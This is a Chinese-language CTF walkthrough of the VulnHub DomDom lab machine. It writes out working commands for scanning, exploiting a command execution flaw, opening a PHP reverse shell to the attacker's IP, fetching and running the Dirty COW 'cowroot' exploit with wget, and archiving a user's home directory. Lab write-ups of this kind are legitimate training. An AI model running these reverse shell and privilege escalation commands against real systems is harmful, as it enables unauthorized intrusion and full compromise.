靶机测试DomDom笔记

靶机描述

Back to the Top

How well do you understand PHP programs? How familiar are you with Linux misconfigurations? This image will cover advanced Web attacks, out of the box thinking and the latest security vulnerabilities.

Please note that this is capture the flag machine which means it is not real life scenario but will challenge you hard before you can obtain root privileges.

靶机地址

https://www.vulnhub.com/entry/domdom-1,328/

靶机测试

扫描端口

$ nmap -p- -A 1.92 ( https://nmap.org ) at 2023-01-11 09:29 CST
Nmap scan report for 192.168.1.100
Host is up (0.0011s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: DomDom
|_http-server-header: Apache/2.4.18 (Ubuntu)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
zsh: segmentation fault nmap -p- -A 192.168.1.100 -oA dom

开放80端口

目录扫描

python .\dirsearch.py -u "http://192.168.1.100/" --extensions extensions

访问网站目录

命令执行漏洞

登录抓包重放，发现命令执行漏洞

cmd=id

nc反弹shell

nc -lnvp 9001

php -r &＃39;$sock=fsockopen("192.168.1.53",9001);exec("/bin/sh -i <&3 >&3 2>&3");&＃39;

切换交互shell

python3 -c &＃39;import pty;pty.spawn("/bin/bash")&＃39;

解决shell乱码问题，这个问题试了好久，kali上的默认shell是zsh

所以，我们先切换shell

bash

然后nc监听

nc -lnvp 9001

之后反弹shell

php -r &＃39;$sock=fsockopen("192.168.1.53",9001);exec("/bin/sh -i <&3 >&3 2>&3");&＃39;

再然后获得交互shell

python3 -c &＃39;import pty;pty.spawn("/bin/bash")&＃39;

然后Ctrl+Z，把shell放到后台，在执行

stty -echo raw

最后fg调出后来任务，回车得到无乱码的交互式shell。

提权

本机开启个web服务，让靶机下载提权检测脚本

└─$ python3 -m http.server 80

wget http://192.168.1.53/linux-exploit-suggester.sh

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

直接脏牛提权

下载提权脚本，编译执行

https://github.com/cryptopuzzle/cowroot

wget http://192.168.1.53/cowroot.c

gcc cowroot.c -o cowroot -pthread

./cowroot

查找特殊权限的文件

getcap -r / 2>/dev/null

打包用户 domom 目录

tar -cvf domom.tar /home/domom

查看root密码

登录root用户

古有一言腰相印，谁教他、满箧婴鳞疏。